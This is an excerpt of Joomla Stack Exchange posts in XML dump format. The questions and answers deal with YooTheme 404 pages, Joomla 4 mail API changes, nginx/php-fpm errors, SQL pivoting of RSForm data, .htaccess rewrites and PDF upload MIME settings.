  <row Id="32008" PostTypeId="1" AcceptedAnswerId="32009" CreationDate="2022-03-10T17:36:07.327" Score="1" ViewCount="149" Body="&lt;p&gt;I've been tasked with making the error.php file look exactly like the rest of the client's site. I have attempted to create this using code from the main template's index.php file but get lots of errors.&lt;/p&gt;&#xA;&lt;p&gt;Without redirecting to another page, is there a simple way of creating a 404 page in YooTheme Pro that looks like the rest of the website?!&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2022-03-11T11:33:16.700" Title="Yootheme 404 page to show in the main template layout" Tags="|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32009" PostTypeId="2" ParentId="32008" CreationDate="2022-03-11T11:33:16.700" Score="2" Body="&lt;p&gt;No, as far as I know you can &lt;strong&gt;Yootheme Pro&lt;/strong&gt; only create one &lt;strong&gt;404 Error Page&lt;/strong&gt; that &lt;strong&gt;fits the whole Page&lt;/strong&gt; without showing anything else from your site.&lt;/p&gt;&#xA;&lt;p&gt;What I usually do to have an Error Page with Site Elements (Header, Top Menu and Footer), is to create an Error Article, hidden Menu Item and use my own error.php File. The error.php redirects faulty traffic to that Article/Menu Item.&lt;/p&gt;&#xA;&lt;h2&gt;Steps to create a 404 Error Page in a Web Site with Yootheme Pro that shows your Header, Top Menu and Footer:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a &amp;quot;Sorry, we can not find that page&amp;quot; Article.&lt;/li&gt;&#xA;&lt;li&gt;Create a Menu Item of type Single Article and choose that Article.&lt;/li&gt;&#xA;&lt;li&gt;Set the Alias to 'error' and hide the Menu Item (under &amp;quot;Link Type&amp;quot;, choose &amp;quot;Display in Menu&amp;quot;: No).&lt;/li&gt;&#xA;&lt;li&gt;Check if the Error Page is displayed at &lt;a href=&quot;https://example.com/error&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/error&lt;/a&gt; (but with a HTTP 200 Success).&lt;/li&gt;&#xA;&lt;li&gt;Create an error.php file that redirects faulty traffic to your Error Page and force a &amp;quot;404 Not Found&amp;quot; Status Code. Put that File in a Yootheme Child Theme Folder: &lt;code&gt;/templates/yootheme_some-child-theme-name/error.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In Yootheme configure &amp;quot;some-child-theme-name&amp;quot; as Child Theme.&lt;/li&gt;&#xA;&lt;li&gt;Put the following code in your &lt;code&gt;/templates/yootheme_some-child-theme-name/error.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;if ($this-&amp;gt;error-&amp;gt;getCode() == '404')&#xA;{&#xA;    header(&amp;quot;HTTP/1.0 404 Not Found&amp;quot;);&#xA;    echo file_get_contents(URI::root() . '/error');&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-03-11T11:33:16.700" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32010" PostTypeId="1" CreationDate="2022-03-12T10:52:40.110" Score="1" ViewCount="126" Body="&lt;p&gt;In my extensions updated for Joomla! 4.0 i use the method ClearAddresses(). In Joomla! 3.x the Joomla\CMS\Mail\Mail extended phpmailer class now in Joomla! 4.x the Joomla\CMS\Component\ComponentHelper\MailTemplate extends nothing and i don't have anymore access to ClearAddresses(), ClearCCs(), ClearBCCs()&#xA;This is my code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Mail\MailTemplate;&#xA;&#xA;public static function send(MailTemplate $mailTemplate, array $receivers): bool&#xA;{&#xA;  $chunks = array_chunk($receivers, $emailRecipientCount);&#xA;&#xA;    $success = true;&#xA;&#xA;    foreach ($chunks as $emails)&#xA;    {&#xA;        if ($emailRecipientCount == 1 || $emailRecipientPrivacy == 'to')&#xA;        {&#xA;            $mailTemplate-&amp;gt;ClearAddresses();&#xA;            $mailTemplate-&amp;gt;addRecipient($emails);&#xA;        }&#xA;        elseif ($emailRecipientPrivacy == 'cc')&#xA;        {&#xA;            $mailTemplate-&amp;gt;ClearCCs();&#xA;            $mailTemplate-&amp;gt;addCC($emails);&#xA;        }&#xA;        else&#xA;        {&#xA;            $mailTemplate-&amp;gt;ClearBCCs();&#xA;            $mailTemplate-&amp;gt;addBCC($emails);&#xA;        }&#xA;&#xA;        try&#xA;        {&#xA;            $result = $mailTemplate-&amp;gt;Send();&#xA;&#xA;            if ($result === false)&#xA;            {&#xA;                // Mail is turned off, or broken&#xA;                return false;&#xA;            }&#xA;&#xA;            if (is_subclass_of($result, 'Exception'))&#xA;            {&#xA;                // Mail send is failed&#xA;                $success = false;&#xA;            }&#xA;        }&#xA;        catch (Exception $e)&#xA;        {&#xA;            $success = false;&#xA;            Log::add($e-&amp;gt;getMessage(), Log::ERROR, 'kunena');&#xA;        }&#xA;&#xA;        if (isset(static::$mailer_error_status))&#xA;        {&#xA;            $success = false;&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    return $success;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So by what replacing ClearAddresses(), ClearCCs(), ClearBCCs()  method here ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2022-03-13T17:12:28.400" LastActivityDate="2024-04-02T16:03:40.577" Title="Call to undefined method Joomla\CMS\Mail\MailTemplate::ClearAddresses()" Tags="|extensions|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32011" PostTypeId="1" AcceptedAnswerId="32012" CreationDate="2022-02-09T22:31:42.867" Score="1" ViewCount="161" Body="&lt;p&gt;Simple php websites work on my nginx + php-fpm server. But If I do fresh full Joomla or Akeeba kickstart I get &amp;quot;PHP Fatal error:  Uncaught Error: Call to undefined method&amp;quot;. Also if restart all nginx, php-fpm, mariab, only first screen comes but does go forward. Like kickstart comes but does not goto extraction page. If refresh it throws error&lt;/p&gt;&#xA;&lt;pre&gt;  &#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;NOTICE: PHP message: PHP Fatal error:  Uncaught Error: Call to undefined method JLoader::setup() in /home/admin/web/******.***/public_html/libraries/import.legacy.php:52&quot;&#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;Stack trace:&quot;&#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;#0 /home/admin/web/******.***/public_html/includes/framework.php(17): require_once()&quot;&#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;#1 /home/admin/web/******.***/public_html/index.php(40e): require_once('/home/admin/web...')&quot;&#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;#2 {main}&quot;&#xA;[09-Feb-2022 22:03:20] WARNING: [pool ******.***] child 80356 said into stderr: &quot;  thrown in /home/admin/web/******.***/public_html/libraries/import.legacy.php on line 52&quot;&#xA;&lt;/pre&gt; &#xA;&lt;p&gt;Below are nginx.conf server block and php-fpm block&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;location / {&#xA;    try_files $uri $uri/ /index.php?$args;&#xA;}&#xA;location ~ \.php$ {&#xA;    fastcgi_cache_bypass $no_cache;&#xA;    fastcgi_no_cache $no_cache;&#xA;    add_header X-Cache &amp;quot;no cache direct&amp;quot;;&#xA;&#xA;    fastcgi_split_path_info ^(.+?\.php)(/.*)$;&#xA;    if (!-f $document_root$fastcgi_script_name) {&#xA;        return 404;&#xA;    }&#xA;    fastcgi_param HTTP_PROXY &amp;quot;&amp;quot;;&#xA;    fastcgi_index index.php;&#xA;#   fastcgi_pass   unix:/run/php-fpm/www.sock;&#xA;#   fastcgi_pass php_upstream;&#xA;    fastcgi_pass  127.0.0.1:9002;&#xA;    include fastcgi3.conf;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;    fastcgi_param  PATH_INFO          $fastcgi_path_info;&#xA;    fastcgi_param  PATH_TRANSLATED    $document_root$fastcgi_path_info;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;[******.***]&#xA;listen = 127.0.0.1:9002&#xA;listen.allowed_clients = 127.0.0.1&#xA;&#xA;user = nginx&#xA;group = nginx&#xA;&#xA;pm = dynamic&#xA;pm.max_children = 800&#xA;pm.start_servers = 20&#xA;pm.min_spare_servers = 20&#xA;pm.max_spare_servers = 40&#xA;pm.process_idle_timeout = 20s;&#xA;pm.max_requests = 200&#xA;&#xA;&#xA;env[HOSTNAME] = $HOSTNAME&#xA;env[PATH] = /usr/local/bin:/usr/bin:/bin&#xA;env[TMP] = /tmp&#xA;env[TMPDIR] = /tmp&#xA;env[TEMP] = /tmp&#xA;request_terminate_timeout = 300&#xA;access.log = /var/log/php-fpm/$pool.access.log&#xA;access.format = &amp;quot;%R - %u %t \&amp;quot;%m %r%Q%q\&amp;quot; %s %f %{mili}d %{kilo}M %C%%&amp;quot;&#xA; &#xA;slowlog = /var/log/php-fpm/www-slow.log&#xA;catch_workers_output = yes&#xA;php_admin_value[error_log] = /var/log/php-fpm/www-error.log&#xA;php_admin_flag[log_errors] = On&#xA;php_value[session.save_handler] = files&#xA;php_value[session.save_path] = /var/lib/php/session&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Just to clear the common pitfalls:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a nginx:nginx owner for &lt;code&gt;/var/lib/php/session&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;php-fpm gives same error msgs for www.sock or 127.0.0.1:9002&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;cgi.fix_pathinfo = 1&lt;/code&gt; in php.ini&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;error_reporting = E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&lt;/code&gt; in php.ini&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have used both stream nginx and custom one from source&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have 2 other servers works fine with exactly same config and this Almalinux server instead of RockyLinux. But I don't think that this is relevant.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16133" OwnerDisplayName="Tansel Yuzer" LastActivityDate="2022-03-12T12:41:29.787" Title="nginx php-fpm server works on simple php website but throws php fatal error on Akeeaba or fresh joomla install" Tags="|php|nginx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32012" PostTypeId="2" ParentId="32011" CreationDate="2022-02-14T15:29:23.707" Score="1" Body="&lt;p&gt;I have resolved the issue by converting server to Rocky Linux from Almalinux. I dont know exactly what was the issue but exact same server configuration worked&lt;/p&gt;&#xA;" OwnerUserId="16133" OwnerDisplayName="Tansel Yuzer" LastActivityDate="2022-02-14T15:29:23.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32013" PostTypeId="2" ParentId="5893" CreationDate="2022-03-12T19:08:43.800" Score="0" Body="&lt;p&gt;I had also this type of error&#xA;I just change PHP version from Cpanel and the site is now working fine&lt;/p&gt;&#xA;" OwnerUserId="16194" LastActivityDate="2022-03-12T19:08:43.800" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32014" PostTypeId="2" ParentId="32010" CreationDate="2022-03-13T08:38:41.997" Score="0" Body="&lt;p&gt;The function is still in Joomla 4 as part of the PHPMailer code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;../libraries/vendor/phpmailer/phpmailer/src/PHPMailer.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 3 it comes from&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;../libraries/vendor/phpmailer/phpmailer/class.phpmailer.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You need to look at your extension and make any changes to find or USE the updated library.&lt;/p&gt;&#xA;&lt;p&gt;Update...&lt;/p&gt;&#xA;&lt;p&gt;Try adding this line to the top of the code you have included in your original post above or below the existing Use statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use PHPMailer\PHPMailer\PHPMailer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-03-14T10:23:39.183" LastActivityDate="2022-03-14T10:23:39.183" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32015" PostTypeId="1" CreationDate="2022-03-13T18:06:37.020" Score="0" ViewCount="126" Body="&lt;p&gt;I recently installed Joomla 4.1 on my server and since I activated URL rewriting, my changes in some CSS files of the Cassiopeia Template are ignored.&lt;/p&gt;&#xA;&lt;p&gt;I tried deactivating the URL Rewrite, but it does not change this behavior. Maybe it was just coincidence that the changes got ignored after I activated this feature.&lt;/p&gt;&#xA;" OwnerUserId="16196" LastEditorUserId="12352" LastEditDate="2022-03-13T23:09:15.883" LastActivityDate="2024-04-02T15:09:36.257" Title="Joomla ignores css changes after URL rewrite was activated" Tags="|templates|css|joomla-4.x|cassiopeia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32016" PostTypeId="1" CreationDate="2022-03-13T21:19:02.683" Score="1" ViewCount="44" Body="&lt;p&gt;I wrote a small joomla 4 component and made it possible to create a new item in the frontend.&lt;/p&gt;&#xA;&lt;p&gt;After creating a new item, Joomla core components usually redirects to a list view. But I want to redirect to the detail view of the item.&lt;/p&gt;&#xA;&lt;p&gt;For example &lt;code&gt;/view=myitem&amp;amp;id=11:test&amp;amp;catid=3&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately I do not know the &lt;code&gt;id&lt;/code&gt; of the new item at the time of creation. Therefore I can not create the URL while creating the item.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to do this that I do not see?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastEditorUserId="12352" LastEditDate="2022-03-13T23:11:22.417" LastActivityDate="2022-04-15T09:07:30.743" Title="Forwarding to the item page after the creation of the item via front end editing" Tags="|custom-component|joomla-4.x|redirect|front-end|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32017" PostTypeId="2" ParentId="32015" CreationDate="2022-03-14T08:59:34.157" Score="0" Body="&lt;p&gt;In Cassiopeia, you must add the custom css into the &lt;code&gt;user.css&lt;/code&gt;, and place this file in &lt;code&gt;templates/cassiopeia/css/user.css&lt;/code&gt; (for Joomla 4.0) or in &lt;code&gt;media/templates/site/cassiopeia/css/user.css&lt;/code&gt; (for Joomla 4.1)&lt;/p&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2022-03-14T08:59:34.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32019" PostTypeId="1" AcceptedAnswerId="32022" CreationDate="2022-03-14T10:45:05.877" Score="1" ViewCount="75" Body="&lt;p&gt;I have mysql query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$formId = 21;&#xA;&#xA;$query = &amp;quot;select * from #__rsform_submission_values WHERE `FormId` = $formId order by `SubmissionId` desc limit 30&amp;quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It loads specific data from above table (see screenshot)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NWk4b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NWk4b.png&quot; alt=&quot;mysql query&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;what I want is to load data like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  0 =&amp;gt; &#xA;    object(stdClass)[427]&#xA;      public 'SubmissionValueId' =&amp;gt; string '20006' (length=5)&#xA;      public 'FormId' =&amp;gt; string '21' (length=2)&#xA;      public 'SubmissionId' =&amp;gt; string '1122' (length=4)&#xA;      public 'FieldName' =&amp;gt; string 'session_date' (length=12)&#xA;      public 'session_date' =&amp;gt; string '17-03-2022 20:00' (length=16)&#xA;  1 =&amp;gt; &#xA;    object(stdClass)[426]&#xA;      public 'SubmissionValueId' =&amp;gt; string '20007' (length=5)&#xA;      public 'FormId' =&amp;gt; string '21' (length=2)&#xA;      public 'SubmissionId' =&amp;gt; string '1122' (length=4)&#xA;      public 'FieldName' =&amp;gt; string 'city' (length=4)&#xA;      public 'city' =&amp;gt; string 'Hørsholm Kommune' (length=17)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so instead of &lt;strong&gt;FielValue = example&lt;/strong&gt; it should be called &lt;strong&gt;session_date = example&lt;/strong&gt; (replace all FieldValue to WITH FieldNames)&lt;/p&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="12352" LastEditDate="2022-03-15T12:43:14.193" LastActivityDate="2022-03-15T12:43:14.193" Title="Joomla mysql query - group_contact" Tags="|joomla-3.x|mysql|rsform|pivot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32020" PostTypeId="1" CreationDate="2022-03-14T18:59:48.060" Score="2" ViewCount="63" Body="&lt;p&gt;I'm trying to POST from one controller method to another with the Http class.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$http = new Http();&#xA;$url = Uri::base().'index.php?option=com_mycontroller&amp;amp;task=my_method';&#xA;$response = $http-&amp;gt;post($url, []);&#xA;die($response-&amp;gt;getBody());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it just returns a redirect to the login page.&lt;/p&gt;&#xA;&lt;p&gt;How can I post to this method with authentication?&lt;/p&gt;&#xA;" OwnerUserId="16173" LastEditorUserId="12352" LastEditDate="2022-03-14T23:00:12.730" LastActivityDate="2022-03-14T23:00:12.730" Title="Authenticate Http request" Tags="|component|custom-component|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32022" PostTypeId="2" ParentId="32019" CreationDate="2022-03-14T23:36:25.520" Score="1" Body="&lt;p&gt;I really can't see the use in retrieving the &lt;code&gt;SubmissionValueId&lt;/code&gt;s or &lt;code&gt;FormId&lt;/code&gt;s associated with the rows of data after you pivot into an associative structure.  When you fold the original rows together, you are going to lose the relationship to the original values anyhow.&lt;/p&gt;&#xA;&lt;p&gt;If you already know all of the &lt;code&gt;FieldName&lt;/code&gt; values that you are going to processing, you can most simply use a pivot technique -- &lt;a href=&quot;https://joomla.stackexchange.com/search?q=user%3A12352%20%5Bpivot%5D&quot;&gt;here are MANY demonstrations that I've posted&lt;/a&gt;. From what I see in your resultset screenshot, you want to capture the data for &lt;code&gt;session_date&lt;/code&gt;, &lt;code&gt;city&lt;/code&gt;, &lt;code&gt;group&lt;/code&gt;, and &lt;code&gt;status&lt;/code&gt;.  I don't see any use for &lt;code&gt;submit&lt;/code&gt; or &lt;code&gt;formId&lt;/code&gt; -- in fact this redundant storage is unnecessarily bloating a table that is notoriously prone to becoming VERY bloated.  I recommend adjusting your RSForm form so that the &lt;code&gt;submit&lt;/code&gt; and &lt;code&gt;formId&lt;/code&gt; values are not stored in the database table at all. With my current understanding of your requirement, this should do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        &amp;quot;a.SubmissionId&amp;quot;,&#xA;        &amp;quot;a.DateSubmitted&amp;quot;,&#xA;        &amp;quot;MAX(CASE WHEN b.FieldName = 'status' THEN b.FieldValue ELSE NULL END) AS status&amp;quot;,&#xA;        &amp;quot;MAX(CASE WHEN b.FieldName = 'session_date' THEN b.FieldValue ELSE NULL END) AS session_date&amp;quot;,&#xA;        &amp;quot;MAX(CASE WHEN b.FieldName = 'city' THEN b.FieldValue ELSE NULL END) AS city&amp;quot;,&#xA;        &amp;quot;MAX(CASE WHEN b.FieldName = 'group' THEN b.FieldValue ELSE NULL END) AS &amp;quot; . $db-&amp;gt;qn('group')&#xA;    ])&#xA;    -&amp;gt;from(&amp;quot;#__rsform_submissions a&amp;quot;)&#xA;    -&amp;gt;innerJoin(&amp;quot;#__rsform_submission_values b ON a.SubmissionId = b.SubmissionId&amp;quot;)&#xA;    -&amp;gt;where(&amp;quot;a.FormId = &amp;quot; . (int)$formId)&#xA;    -&amp;gt;group(&amp;quot;a.SubmissionId DESC&amp;quot;);  // yes, you can declare the sort order here&#xA;&#xA;// echo $query-&amp;gt;dump();  // uncomment if you want to confirm the rendered query&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadObjectList();&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&amp;quot;Query Syntax Error: &amp;quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public / in production&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you need your script to remain fully dynamic and you don't want to perform an earlier query on the table to collect all of the qualifying &lt;code&gt;FieldName&lt;/code&gt; values to set up a dynamic pivot query, then you can just iterate over your result set and do the grouping/pivoting in PHP.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$result = [];&#xA;foreach ($db-&amp;gt;loadObjectList() as $obj) {&#xA;    $result[$obj-&amp;gt;SubmissionId][$obj-&amp;gt;FieldName] = $obj-&amp;gt;FieldValue;&#xA;}&#xA;return $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-03-15T12:41:43.003" LastActivityDate="2022-03-15T12:41:43.003" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32023" PostTypeId="2" ParentId="31988" CreationDate="2022-03-15T08:48:46.850" Score="1" Body="&lt;p&gt;One way to do this, in your Controller folder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class BranchController extends FormController&#xA;{&#xA;    public function update_localgroup() {&#xA;        $file = JPATH_COMPONENT . '/src/Controller/Branch/localgroups.php';&#xA;        include $file;&#xA;    }&#xA;    public function update_region() {&#xA;        $file = JPATH_COMPONENT . '/src/Controller/Branch/regions.php';&#xA;        include $file;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I do this quite a lot to group umpteen sub-controllers.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2022-03-15T08:48:46.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32024" PostTypeId="2" ParentId="32016" CreationDate="2022-03-15T09:23:32.120" Score="0" Body="&lt;p&gt;&lt;strong&gt;Joomla 3&lt;/strong&gt;'s documentation for inserting data into a database &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Inserting_a_Record&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Inserting_a_Record&lt;/a&gt; mentiones:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$new_row_id = $db-&amp;gt;insertid();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Joomla 4&lt;/strong&gt; code base still uses &lt;code&gt;$db-&amp;gt;insertid();&lt;/code&gt; at some places, so I suppose that it will work for your code as well.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-03-15T09:23:32.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32025" PostTypeId="1" CreationDate="2022-03-16T01:27:05.053" Score="1" ViewCount="77" Body="&lt;p&gt;I have a little project integrating a 3rd party application, which seems pretty easy and straight forward for the most part.&#xA;However, it requires some internal Routing to be set in place, in order to work, along with some Pass-Through Redirects.&lt;/p&gt;&#xA;&lt;p&gt;Joomla Redirect plugin doesn't allow for this, so my idea is to use .htaccess to achieve this. I'm not much good with htaccess, and don't understand Joomla routing deep and well enough to modify it or create custom components... but this is the furtherest I've gotten with htaccess rewriteRule:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^/product/* /product/$1 [QSA,PT]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The idea is to have a Joomla article with a specific DIV tag, where the product details will be loaded into. This div is located at: /product/&#xA;When the user clicks on a product to view details, the URL will change to: /product/product-name&lt;/p&gt;&#xA;&lt;p&gt;This does not exist in Joomla, so you get a 404 error. The RewriteRule is supposed to point everything after /product/* to /product/, but leave the URL structure intact.&lt;/p&gt;&#xA;&lt;p&gt;As I understand it, a Pass-Through redirect shouldn't result in a 404 error, so I must be missing something?&lt;/p&gt;&#xA;&lt;p&gt;Out of curiosity, I tried just this rewriteRule to see if it actually triggers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^product/* /collection/$1 [QSA,PT]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It does not work, /product/ is still in the URL. However this exact rewriteRule works in an online htaccess Tester: &lt;a href=&quot;https://htaccess.madewithlove.com?share=a7610055-95fd-4ed1-9f12-d60f14e44358&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://htaccess.madewithlove.com?share=a7610055-95fd-4ed1-9f12-d60f14e44358&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I must be doing something wrong, but I've been working on this for a week and haven't gotten anywhere. I hope someone here has the answer.&lt;/p&gt;&#xA;" OwnerUserId="16200" LastEditorUserId="12352" LastEditDate="2022-03-16T04:18:35.433" LastActivityDate="2022-03-16T04:18:35.433" Title="Help: Joomla routing and pass-through redirects" Tags="|joomla-3.x|.htaccess-configuration|jroute|router|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="32026" PostTypeId="2" ParentId="32016" CreationDate="2022-03-16T08:03:13.957" Score="1" Body="&lt;p&gt;If you're extending core form controller/model, you can access the ID through the model in controller's &lt;code&gt;postSaveHook()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function postSaveHook(\Joomla\CMS\MVC\Model\BaseDatabaseModel $model, $validData = [])&#xA;{&#xA;    $id = $model-&amp;gt;getState($model-&amp;gt;getName() . '.id');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-03-16T08:03:13.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32027" PostTypeId="1" CreationDate="2022-03-16T16:06:25.663" Score="1" ViewCount="209" Body="&lt;p&gt;I'm puzzled by why I can only upload PDFs from within the editor when I use JCE. The site I'm working on is using YOOtheme Pro and if I try to add a PDF as a link in a gallery element it &amp;quot;silently fails&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I then checked uploading a PDF by going to &lt;strong&gt;Joomla Admin &amp;gt; Control Panel &amp;gt; Media&lt;/strong&gt; and uploading a file and for PDFs I get:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Error: Invalid mime type detected&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I disabled &amp;quot;Check MIME Types&amp;quot; in &lt;strong&gt;Global Configuration &amp;gt; Media&lt;/strong&gt; and it still failed in &lt;strong&gt;Control Panel &amp;gt; Media&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If I disable &amp;quot;Restrict Uploads&amp;quot; as well then I can upload a PDF.&lt;/p&gt;&#xA;&lt;p&gt;Our webhosts say that fileinfo.so is enabled.&lt;/p&gt;&#xA;&lt;p&gt;What am I missing?!&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="12352" LastEditDate="2022-03-16T21:36:04.590" LastActivityDate="2024-04-05T16:02:35.337" Title="PDF file upload only works in JCE (Joomla 3.10.6)" Tags="|editor|file-upload|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32028" PostTypeId="2" ParentId="32027" CreationDate="2022-03-17T07:55:41.580" Score="0" Body="&lt;p&gt;Instead of disabling &amp;quot;Check MIME Types&amp;quot;, you should keep it enable and add &amp;quot;&lt;strong&gt;pdf&lt;/strong&gt;&amp;quot; in &amp;quot;&lt;em&gt;Legal Extensions (File Types)&lt;/em&gt;&amp;quot; field, and second, add &amp;quot;&lt;strong&gt;application/pdf&lt;/strong&gt;&amp;quot; in the second &amp;quot;&lt;em&gt;Legal MIME Types&lt;/em&gt;&amp;quot; field.&lt;/p&gt;&#xA;" OwnerUserId="15836" LastEditorUserId="15836" LastEditDate="2022-03-17T11:33:07.600" LastActivityDate="2022-03-17T11:33:07.600" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
